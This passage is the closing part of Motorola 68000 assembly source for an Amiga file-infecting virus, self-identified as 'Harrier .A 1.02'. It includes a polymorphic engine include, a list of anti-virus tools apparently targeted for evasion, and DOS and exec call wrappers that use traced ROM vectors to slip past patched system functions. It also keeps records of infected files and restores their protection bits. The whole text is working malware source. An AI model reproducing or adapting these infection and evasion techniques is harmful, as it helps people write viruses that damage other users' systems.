do_setprotection
	move.l	a5,d1			;filename
	move.l	_fib_protection-_FileInfoBlock(a4),d2
					;original protection bits
	moveq	#SETPROTECTION,d0
	bsr.w	_dos_caller			;call SetProtection()
	rts

	;===========================================================

_poly_engine
	incbin dh1:asm/poly_engine

VirusZ1_name		dc.b	'VirusZ_II',0
VirusZ2_name		dc.b	'VirusZ_III',0
VirusChecker_name	dc.b	'Virus_CheckerII(',$a9,')',0
ramlib_name		dc.b	'ramlib',0
exec_name		dc.b	'exec.library',0
dos_name		dc.b	'dos.library',0
xvs_name		dc.b	'xvs.library',0
			EVEN

interrupt_names
			dc.w	int1_name-interrupt_names
			dc.w	int2_name-interrupt_names
			dc.w	int3_name-interrupt_names
			dc.w	int4_name-interrupt_names

int1_name		dc.b	'timer.device',0
int2_name		dc.b	'input.device',0
int3_name		dc.b	'console.device',0
int4_name		dc.b	'ciaa.resource',0

_comment		dc.b	' ',0
_harrier_string	
 dc.b '[ Harrier .A 1.02 virus, (c) by MaD roGEr/VRU! ]',0
 dc.b	'Markus! Come back!'
;**************************************
_dos_caller		
	movem.l	a5/a6,-(sp)
	move.l	dos_base(pc),a6
	lea	tracer_result(pc),a5
	tst.b	(a5)
	bne.s	_use_traced_vectors	
	lea	dos_function_offsets(pc),a5
	lsl.w	#1,d0
	move.w	(a5,d0.w),d0
	mulu.w	#3,d0
	neg.w	d0
	move.l	2(a6,d0.w),a5
	bra.s	_call_dos

_use_traced_vectors
	lea	_dos_vectors(pc),a5		
	lsl.w	#2,d0
	move.l	(a5,d0.w),a5

_call_dos
	moveq	#0,d0
	jsr	(a5)
	movem.l	(sp)+,a5/a6
	rts
;**************************************
_exec_caller
	movem.l	a0/a1/a5/a6,-(sp)
	move.l	4.w,a6
	lea	tracer_result(pc),a5
	tst.b	(a5)
	bne.s	_use_traced_vectors2
	lea	exec_function_offsets(pc),a5
	lsl.w	#1,d7
	move.w	(a5,d7.w),d7
	mulu.w	#3,d7
	neg.w	d7
	move.l	(a6,d7.w),a5
	bra.s	_call_exec

_use_traced_vectors2
	lea	_exec_vectors(pc),a5		
	lsl.w	#2,d7
	move.l	(a5,d7.w),a5
_call_exec
	jsr	(a5)
	movem.l	(sp)+,a0/a1/a5/a6
	rts
;**************************************
	cnop 0,4	
_end_virus					;this label ends virus
;------------------------------------------------------------------------
_dos_vectors
_ROM_open			dc.l	0		;0
_ROM_close			dc.l	0		;1
_ROM_read			dc.l	0		;2
_ROM_write			dc.l	0		;3
_ROM_seek			dc.l	0		;4
_ROM_examine			dc.l	0		;5
_ROM_exnext			dc.l	0		;6
_ROM_info			dc.l	0		;7
_ROM_setcomment			dc.l	0		;8
_ROM_setprotection		dc.l	0		;9
_ROM_setfiledate		dc.l	0		;10
_ROM_namefromlock		dc.l	0		;11
_ROM_addpart			dc.l	0		;12

_exec_vectors
_ROM_addintserver		dc.l	0		;0
_ROM_findtask			dc.l	0		;1
_ROM_putmsg			dc.l	0		;2

LastInfectedFileData
LIF_date		dc.l	0,0
LIF_size		dc.l	0


orig_PutMsg_vector	dc.l	0
ramlib_task_ptr		dc.l	0
memory_ptr		dc.l	0
xvs_base		dc.l	0
dos_base		dc.l	0

tracer_result		dc.b	0	;0  - vectors traced successfuly
					;-1 - error tracing vectors 

	cnop 0,4

_FileInfoBlock
_fib_diskkey		dc.l	0
_fib_direntrytype	dc.l	0
_fib_filename		ds.b	108
_fib_protection		dc.l	0
_fib_entrytype		dc.l	0
_fib_size		dc.l	0
_fib_numblocks		dc.l	0
_fib_date		dc.l	0,0,0
_fib_comment		ds.b	80
_fib_reserved		ds.b	80

	cnop 0,4

_InfoData
_id_numsofterrors	dc.l	0
_id_unitnumber		dc.l	0
_id_diskstate		dc.l	0
_id_numblocks		dc.l	0
_id_numblocksused	dc.l	0
_id_bytesperblock	dc.l	0
_id_disktype		dc.l	0
_id_volumenode		dc.l	0
_id_inuse		dc.l	0

_filepath		ds.b	120 ;dc.b	'dh1:aa/avail',0
_buffer	;		ds.l	2000




